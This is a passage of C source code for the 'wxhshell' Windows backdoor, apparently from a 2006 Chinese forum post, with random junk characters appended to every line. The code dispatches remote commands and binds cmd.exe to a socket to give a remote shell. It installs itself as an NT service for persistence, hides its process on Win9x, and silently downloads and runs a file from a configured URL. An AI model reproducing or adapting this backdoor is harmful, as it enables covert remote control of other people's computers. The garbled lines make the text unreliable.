  else { }u3|w0~c)  
Xb>SA|6[|  
    switch(cmd[0]) { 0E!-G= v  
  `'<$N<!  
  // 帮助 {}ADsh@7d'  
  case '?': { tzGQo5\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G~(\N?2  
    break; t,JX6ni  
  } /7Pqy2sgE  
  // 安装 *8?2+ )5"  
  case 'i': { iJ^}{-  
    if(Install()) mHW%:a\L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kmaz"6A  
    else gggD "alDx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OzrIiahz/  
    break; YSt*uOZK  
    } L{&2 P  
  // 卸载 fv+ET:T%  
  case 'r': { B t}90#  
    if(Uninstall()) v"ORn5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oj Y.6w  
    else z=U+FHdh/-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )G^k$j  
    break; eg}g} a  
    } 8CUtY9.  
  // 显示 wxhshell 所在路径 G6a 2]  
  case 'p': { ~^a>C  
    char svExeFile[MAX_PATH]; W@r<4?Oat  
    strcpy(svExeFile,"\n\r"); _3 oo%?}  
      strcat(svExeFile,ExeFile); Qw2-Vv4!"  
        send(wsh,svExeFile,strlen(svExeFile),0); 9G SpDc  
    break; a'jUM+D;  
    } '=Zm[P,  
  // 重启 TBPu&+3  
  case 'b': { Pa Q lQ#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z/4<x?}+hE  
    if(Boot(REBOOT)) ^0|:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6#*_d,xQT  
    else { LJPJENtFIs  
    closesocket(wsh); [T =>QS@g  
    ExitThread(0); WJONk_WAc  
    } P7=`P  
    break; \ .#Y  
    } Rh~b,"  
  // 关机 ;y\/7E  
  case 'd': { fiWN^sTM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &Hp*A^M  
    if(Boot(SHUTDOWN)) hGV_K"~I0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B2]52Fg-"  
    else { p P@q `  
    closesocket(wsh); qqZ4K:oC,  
    ExitThread(0); /+%aSPQ  
    } vb>F)po1}  
    break; , v} )  
    } GNv{ Ij<  
  // 获取shell %<DdX*Qp  
  case 's': { XV%R Mr6  
    CmdShell(wsh); ~HGSA(  
    closesocket(wsh); bi+M28m  
    ExitThread(0); `mteU"{bx  
    break; AA^K /y  
  } cKkH*0B5  
  // 退出 \\:%++}J  
  case 'x': { | 8mWR=9fs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P ah@d!%A  
    CloseIt(wsh); 9HFEp-"  
    break; *cWHl@4  
    } #$S~QS.g  
  // 离开 eC<RM Q4  
  case 'q': { ;5X~"#%U_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *GXPN0^Qjo  
    closesocket(wsh); ui)mYR[8X  
    WSACleanup(); t^MTR6y+8  
    exit(1); uVD^X*  
    break; # A4WFZ  
        } ($<&H>j0  
  } `+< ^Svou  
  } "AjC2P],  
%,vq@..^  
  // 提示信息 9>- 6Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jRiMWolLv  
} z@e(y@  
  } \Db`RvEmR  
x[TLlV:{  
  return; U 5j4iz'  
} QlB9m2XB  
/"`hz6rIv  
// shell模块句柄 2 ^"j]g>mj  
int CmdShell(SOCKET sock) ^#e|^]] L  
{ V-(]L:[JQ  
STARTUPINFO si;  yI|x 5f  
ZeroMemory(&si,sizeof(si)); L / PAC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |) ~-Wy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g"'BsoJ  
PROCESS_INFORMATION ProcessInfo; :F6dXW  
char cmdline[]="cmd"; +UOVD:G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :Wx7a1.Jz  
  return 0; 4|%Y09"lv  
} ?QKD YH(  
`"ks0@^U  
// 自身启动模式 8dx 7@y?z  
int StartFromService(void) u!~kmIa4  
{ 7P2(q  
typedef struct R73@!5N%  
{ ,<P"\W  
  DWORD ExitStatus; \6 JY#%  
  DWORD PebBaseAddress; *"_W1}^  
  DWORD AffinityMask; PtQ[({d3R  
  DWORD BasePriority; }sqFvab<  
  ULONG UniqueProcessId; 6:}n}q,V  
  ULONG InheritedFromUniqueProcessId; a"Iu!$&N  
}   PROCESS_BASIC_INFORMATION; p3-~cr.LD  
dEMv9"`*!  
PROCNTQSIP NtQueryInformationProcess; HhCFAq"j  
qB@N|Bb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T; [T`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QhTn9S:D  
{I0!q"sF  
  HANDLE             hProcess; %}N01P|X>  
  PROCESS_BASIC_INFORMATION pbi; G2n. NW#d4  
>mvE[iXRG?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,@ p4HN*  
  if(NULL == hInst ) return 0; v h)CB8  
Av n-Ug  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `%Kj+^|DS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YVF@v-v-,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z?[ R;V1j  
8f~*T  
  if (!NtQueryInformationProcess) return 0; p;o"i_!  
+6+1N)L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \cX9!lHl  
  if(!hProcess) return 0; Y@UW\d*'%I  
z\, lPwB2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]o'dr r  
/'VuMMJ2  
  CloseHandle(hProcess); @$p6w  
Ssir?ZUm   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w0yzC0yBk  
if(hProcess==NULL) return 0; AYoTCi%7E  
2Nm{.Y  
HMODULE hMod; $b^niL  
char procName[255]; =*-a c  
unsigned long cbNeeded; fK(:vwh  
1 Cz}|#U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (IHR {m  
6 P(jc  
  CloseHandle(hProcess); Um-Xb'R*]V  
*fyaAv  
if(strstr(procName,"services")) return 1; // 以服务启动 MdkL_YP}.  
D}ZPgt#   
  return 0; // 注册表启动 5Em.sz;:8  
} ]5j>O^c<  
0iMfyW:  
// 主模块 $K\;sn; |:  
int StartWxhshell(LPSTR lpCmdLine) "K|':3n|  
{ R5},E  
  SOCKET wsl; RSM+si/  
BOOL val=TRUE; _S &6XNV  
  int port=0; -4J.YF>  
  struct sockaddr_in door; vON7~KA  
%vG;'_gM B  
  if(wscfg.ws_autoins) Install(); "yU<X\n i  
&=Y%4 vq  
port=atoi(lpCmdLine); PCBV6Y7r  
yRhD<*  
if(port<=0) port=wscfg.ws_port; jW| ,5,43  
o/RGzPR  
  WSADATA data; Z0V6cikW6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ady SwB  
E%f!SD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tM:$H6m/(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _|{pO7x]oG  
  door.sin_family = AF_INET; 0J5$ Yw1'F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m[N&UM#  
  door.sin_port = htons(port); !0X"^VB  
#Oa`P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W,t`DMC  
closesocket(wsl); uE#i3( J  
return 1; KWw?W1H  
} dr"@2=Z  
i Nn?G C>  
  if(listen(wsl,2) == INVALID_SOCKET) { +sd':vE  
closesocket(wsl); ZmaW]3$  
return 1; <z wI@i  
} gX5.u9%C\  
  Wxhshell(wsl); ;Q lb].td  
  WSACleanup(); H Mfhe[A?  
qyBo|AQ5  
return 0; 8PRB_ny  
o-AAx#@  
} 0gKSjTqo  
Q(hAV  
// 以NT服务方式启动 $! UEpQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '&y+,2?;Y[  
{ ,fs>+]UY3  
DWORD   status = 0; 5PKdMEK|q  
  DWORD   specificError = 0xfffffff; ?)/H8n  
QnH~' k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YtT:\#D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /.1h_[K]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )-LS n  
  serviceStatus.dwWin32ExitCode     = 0; *C^`+*}OE$  
  serviceStatus.dwServiceSpecificExitCode = 0; Biy$p6  
  serviceStatus.dwCheckPoint       = 0; $K~ t'wr  
  serviceStatus.dwWaitHint       = 0; ARid   
&PEw8: TX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ni61o?]Nj  
  if (hServiceStatusHandle==0) return; ?OWJUmQ  
sHMZ'9b  
status = GetLastError(); t=r*/DxX=  
  if (status!=NO_ERROR) -Wl79lE  
{ '$be+Z32  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =a./HCF  
    serviceStatus.dwCheckPoint       = 0; 0$q)uip  
    serviceStatus.dwWaitHint       = 0; P:HmT   
    serviceStatus.dwWin32ExitCode     = status; O<qo%fP  
    serviceStatus.dwServiceSpecificExitCode = specificError; }tH6E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q*K.e5"'  
    return; ns !Mqcm  
  } 5 ]@"f/  
R;2 Z~P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \MFjb IL  
  serviceStatus.dwCheckPoint       = 0; ]kyGm2Ty9  
  serviceStatus.dwWaitHint       = 0; I>3]VR i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6 VuMx7W1  
} RE75TqYW  
NYp46;  
// 处理NT服务事件,比如:启动、停止 y8=H+Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q"sszz  
{ :/'oh]T|  
switch(fdwControl) R8<P}mv  
{ G^/8lIj  
case SERVICE_CONTROL_STOP: <ULydBom  
  serviceStatus.dwWin32ExitCode = 0; 924a1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [&a=vE  
  serviceStatus.dwCheckPoint   = 0; nf9NJ_8}4H  
  serviceStatus.dwWaitHint     = 0; |jE0H!j  
  { .=<<b|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eww/tGa  
  } Y|96K2BR  
  return; z1 P=P%F  
case SERVICE_CONTROL_PAUSE: w [7vxQ!-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zsuXN*  
  break; Dk`(Wgk2  
case SERVICE_CONTROL_CONTINUE: &a bR}J[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N.@@ebuE  
  break; :927y  
case SERVICE_CONTROL_INTERROGATE: |#?:KvU97E  
  break; n(tx'&U"R  
}; p? L*vcU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  c 1o8   
} hO] vy>i;  
5'z D}[2  
// 标准应用程序主函数 @J UCXm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T1_>qnSz  
{ @Xg5 E  
K)[DA*W  
// 获取操作系统版本 Iu|4QE  
OsIsNt=GetOsVer(); XlDN)b5v{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ny2. C?2  
pa8R;A70Dl  
  // 从命令行安装 %UokR"  
  if(strpbrk(lpCmdLine,"iI")) Install(); |Pj]sh[^Y  
@K=C`N_22  
  // 下载执行文件 c1aIZ  
if(wscfg.ws_downexe) { #$0*Gd-N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q.Xs%{B  
  WinExec(wscfg.ws_filenam,SW_HIDE); r: -,qy  
} V Bv|7S  
[H5BIM@{  
if(!OsIsNt) { @Z2^smf  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^2)<H7p  
HideProc(); VtnVl`/]  
StartWxhshell(lpCmdLine); S}/5W  
} &\ $~  
else B3g # )  
  if(StartFromService()) @P @{%I  
  // 以服务方式启动 6%L#FSI  
  StartServiceCtrlDispatcher(DispatchTable); h h7unHt-  
else :erfs}I  
  // 普通方式启动 JpE7"Z"~MS  
  StartWxhshell(lpCmdLine); r%\%tz'`j  
/ ?Hq  
return 0; jT=fq'RK  
}
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只看该作者 1 发表于: 2006-10-10
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